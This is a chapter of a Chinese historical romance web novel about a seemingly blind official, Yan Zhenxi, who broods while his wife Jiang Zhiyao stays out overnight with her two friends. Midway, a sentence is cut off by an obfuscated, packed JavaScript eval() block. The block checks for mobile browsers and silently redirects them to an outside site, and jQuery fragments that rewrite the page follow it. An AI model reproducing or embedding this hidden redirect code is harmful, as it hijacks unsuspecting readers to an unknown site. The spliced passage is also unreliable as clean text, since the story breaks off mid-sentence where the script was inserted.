“夫人现在不在府上吗？”在房间和花园都没有见到那个身影后，晏枕溪问身后的侍从道。
侍从低头回答：“是的大人，今早夫人就出府了。”
“她最近都不在府上？”
“夫人近来白天都不怎么在府上。”
是因为在府上玩腻了吗？这几天都没有看到她了，晏枕溪心里有些闷闷的，怎么自己好像一段时间没见她就会不舒服。
姜知瑶此时正在茶楼上，心不在焉地听着说书。
纪婉清今日有事，所以她只和和程明珠约好了在茶楼上见面，但程明珠还没来。
她这些天都没有邀请纪婉清和程明珠到府上去玩了。
近来不知为何，总是感觉有道不容忽略的视线落在她身上。
但每次顺着感觉望去，都只能看到柱子抑或是什么其他的树木。
有时那道视线很久地注视着自己，有时又很短暂，让姜知瑶以为那不过是错觉。
前些天和纪婉清他们在花园玩的时候，姜知瑶又察觉到那道视线了，她用余光望去，发现不远处的花丛后，有道月白色的身影。
花丛隐隐约约透出那个一动不动的身影，乍一看有些渗人。
仔细看，竟是晏枕溪，他怎么站在那里？晏枕溪正面对着自己，姜知瑶有一瞬起了些疑心，但转眼又想到了他那覆在面上的眼纱，姜知瑶失笑。
怎么可能会是他呢，许是晏枕溪平时看起来都很从容，确实有时会让姜知瑶忘记他双目失明的事情。
姜知瑶没有再管，觉得肯定是自己最近太疑神疑鬼了，继续和纪婉清玩闹着，但那股视线却更加强烈了，让姜知瑶不免有些不自在了起来。
等过一会姜知瑶再往那个方向看去，晏枕溪的身影已经不见了。
会不会是因为太吵了？姜知瑶想，虽然花园离书房有些距离，但听说双目失明的人听觉会格外灵敏一些。
虽然晏枕溪没和自己提到过，但想来还是会影响到他的吧，说起来，好像也没见过晏枕溪邀请他的友人来府上。
想到这里姜知瑶不免有些觉得不好意思，所以最近她都出来玩了。
“瑶瑶。”是程明珠声音，“你每次都来的好早啊。”
看着程明珠稍显疲惫的样子，姜知瑶问道：“昨晚没有睡好？要不要助眠的香囊？”
程明珠坐下给自己倒了杯茶，打了个哈欠：“没事不用了。”
“楚玉昨晚办了个宴会，散的比较晚。”
喝了口茶后又说道：“我还以为你也会去，上次在你府上看到请帖了，没想到竟然在宴会上没找到你，只找到了纪婉清。”
“楚小姐吗？”姜知瑶想了想，“好像是给了请帖，但是给晏枕溪的。”
“她还没死心吗？”程明珠一提到这个就不困了，“诶，我昨晚好像确实看到了晏枕溪。”
她那个时候还在和纪婉清疑惑说怎么姜知瑶没一起来呢。
“那岂不是他赴宴不仅没有带你，还没告诉你？！”程明珠逐渐语气拔高。
“他怎么可以这样？那楚玉……”程明珠越说越气愤。
楚玉爱慕晏枕溪，是之前京城里人人皆知的事情。
和其他人含蓄胆怯地表达爱意不同，楚玉每次都大胆又热烈，尽管每次晏枕溪都拒绝了，但她还是锲而不舍，经常在宴会或者其他大庭广众之下对晏枕溪表达爱意。
在晏枕溪眼睛受伤之后，楚玉就慢慢消停了，可能也有晏枕溪后面没怎么去参加宴会的原因。
“不是啊，这个晏枕溪，我爹之前举办宴会的时候他都推脱不去，怎么这个楚玉的宴会他就去了？”
“我也不知道……可能是有事情吧。”姜知瑶摇头说道。
她知道楚玉，之前在宴会上遇到过她表白晏枕溪的场景。
少女笑容明媚，就连姜知瑶看了都不经恍神了一瞬。
姜知瑶看到只觉得羡慕，羡慕楚玉的大胆和自信，虽然晏枕溪很冷静自持地拒绝了，但楚玉看上去也没有丝毫的后悔或者失落。
若说当时如果晏枕溪答应了，姜知瑶怕也不会觉得有什么，只会觉得两人相配，郎才女貌，姜知瑶知道了也只会拍手祝贺。
因为那时晏枕溪与她毫无交集，唯有姜知瑶自己心里一丝绮丽的遐想与少年慕艾。
但现在，在知道晏枕溪独自去赴她的宴后，姜知瑶心里则是闪过一丝连自己也觉得讨厌的酸涩感，尽管很快就被她压下去了。
她知道晏枕溪去肯定是有事情，以晏枕溪的性子，他和楚玉之间绝对不会有什么私情，虽然知道是知道，但姜知瑶还是觉得心里有些闷闷的。
“也没说要他避嫌，但好歹和你说一声吧？”程明珠此时对晏枕溪的印象简直是跌入了谷底。
“没事，他肯定是因为有自己的事要忙。”姜知瑶转移话题道，“今天茶楼里换了一个说书先生欸，你来晚了，他讲的是最近刚出的那个……”
-
临近黄昏，今天午膳姜知瑶都是和程明珠在外面用的，现在已经到了要姜知瑶平时要回府的时候了。
“瑶瑶，好瑶瑶。”程明珠摇着姜知瑶的手臂说道，“我不想你离开嘛。”
“一周只能和你见那么两三面，我简直想每天都和你待一块。”
真是遗憾，要是姜知瑶是自己的姐妹就好了，程明珠时常这样想。
“反正你平时不是和晏枕溪分房睡吗？你今天就去我府上用膳留宿吧。”
见姜知瑶有些犹豫而不是一口回绝，程明珠就知道有戏，她继续软磨硬泡道：“就一次好不好嘛，我们都已经好久没有在晚上一起聊天了。”
果然没过一会姜知瑶便应下：“好。”
就去一次应该也不要紧吧，她也很喜欢和明珠待一起，而且不知道为什么，她现在其实也不太想回去。
“瑶瑶真好。”程明珠笑弯了眼。
以往都是程明珠到尚书府留宿，今日还是第一次姜知瑶来到程府留宿。
在应付完父母后，程明珠躺进被窝里和姜知瑶开始聊起了天：“瑶瑶，你知道吗？听说那家的……”
直到天快蒙蒙亮的时候，二人才沉沉睡去。
“好哇，你们两个竟然背着我。”
被纪婉清从被窝里捞起来的时候，姜知瑶还有些迷迷糊糊的：“纪姐姐……”
因为昨天两人睡的晚，今早自然就起晚了，纪婉清直接找到程明珠的府上了。
她们之间关系近，两府的人都是知道的，纪婉清进来只需说一声就行了。
程明珠坐在一旁说道：“谁让你昨天没和我们一起。”
“我一不在你就把姜知瑶拐回家了？”纪婉清挑眉问道。
“好了，睡都睡完了。”程明珠故作轻佻地说道，“要不今晚我们三一起睡一次？”
姜知瑶被程明珠的话说的脸红了起来。
“天天就知道说这些玩笑。”纪婉清轻嗔道。
“要不我们今天去花楼里玩吧！”程明珠突然两眼放光道。
“不行。”姜知瑶立马摇头，“我现在要回去了。”
“诶呀，瑶瑶。”程明珠手搭上了她的背，“又没人催你回去，你这么着急干嘛啊。”
“说起来，我也还真的有点想去了。”纪婉清摸了摸下巴说道，“许久未去了，上次去还是在一两个月前。”
姜知瑶犹豫了，她其实也有点想去，但这种夜不归宿的事还是让姜知瑶心里有些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901197|176640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不自在，总感觉好像做了什么坏事。
“晏枕溪去做什么不也是没告诉过你吗？”程明珠看穿了姜知瑶在想什么，继续劝说道，“你今晚回去就好了。”
回想起花楼里好吃的糕点和香香软软的姑娘们，姜知瑶动摇了。
算了，反正都已经在外面留宿过一晚了，再晚点回去也不要什么紧吧。
“那就去吧。”姜知瑶最终应下。
-
“夫人还没有回来吗？”晏枕溪坐在桌前问道，桌上布满了色香味俱全的菜肴。
白天没有见到姜知瑶后，晚膳时间，晏枕溪决定再去邀请姜知瑶一起用晚膳。
姜知瑶每次就算出去玩，到了用晚膳的时候都会回来。
若是姜知瑶又拒绝他派去的人，那他就亲自去邀请，晏枕溪对今晚能和姜知瑶一起用膳的事很有把握。
今天桌上的菜是晏枕溪精心挑选的，他还请了京城里最好的厨子来，说不定就能让姜知瑶喜欢上菜的味道，重新和他一起用膳呢。
但唯一让他觉得有些意料之外的，身后的侍从摇了摇头：“还没有。”
又等了一刻钟后，门口走进来了一个小厮：“夫人派人来说她今晚宿在程小姐家，不回来了。”
晏枕溪停顿了几秒问道：“你确定吗？”
“是夫人身边的一个侍女回来说的。”小厮回道。
眼纱下，晏枕溪垂眸看着眼前微凉的菜：“知道了。”
现在竟都不愿回府了吗。
“把这些菜都撤了吧。”晏枕溪起身离开。
“是。”侍从上前把菜都撤下。
看着桌上的一动未动的糖醋排骨、荔枝肉还有其他菜，侍从觉得有些可惜，和晏大人清淡的口味不同，这些偏甜口的菜都是夫人爱吃的。
之前每次和夫人用完膳后，晏大人都会比以往温和一些，他们这些下人也会没那么有压力。
虽然晏大人很大方，平时看上去也温温柔柔的，但总是给人一种不怒自威的感觉，下人们在他前面都不免有些战战兢兢。
今天晏大人的心情应该也不会好了。
侍从轻轻叹了口气，真希望夫人早点回来啊。
晏枕溪回到书房，手中的信件有些看不进去。
她和那两个人的关系真好啊。
晏枕溪心里有种说不出来的滋味，平日里在她们面前笑得那么开心就算了，如今竟然都留宿了。
罢了，不过留宿而已，反正姜知瑶迟早都是要回家的。
只是一个晚上而已，晏枕溪镇静地想到。
无端的，晏枕溪忽的又想到了那天他看见的，姜知瑶向纪婉清撒娇的场景。
池塘边的亭子里，姜知瑶扯着纪婉清的袖子软声说道：“姐姐，就让我再吃一块嘛。”
纪婉清不为所动，但晏枕溪在不远处听到看到后，只想把那盘芙蓉糕亲手端到姜知瑶的面前。
不止是这样想的，晏枕溪迈开步子，直到快走到了她们视野里时才知道，原是姜知瑶已经有些积食了却还贪嘴。
晏枕溪硬生生止住脚步，在原地恍神了一会，然后有些僵硬地转身离开了。
他如今一个人在有些冷清的书房里，又想起了那天姜知瑶撒娇时的语气和神态，姜知瑶在他面前向来是客气疏离的，那样的样子是晏枕溪从未见过的。
姜知瑶其实也并未做什么，只不过是软声说了一句话，未让纪婉清松口，却让无意窥见的晏枕溪念念不忘。
她们三人之间的关系如此之好，今夜留宿是不是她与另一人同塌而眠？
想到这里，晏枕溪无意识地揉皱了手中的纸张。
明早，若是明早姜知瑶还没回来，他就去找她。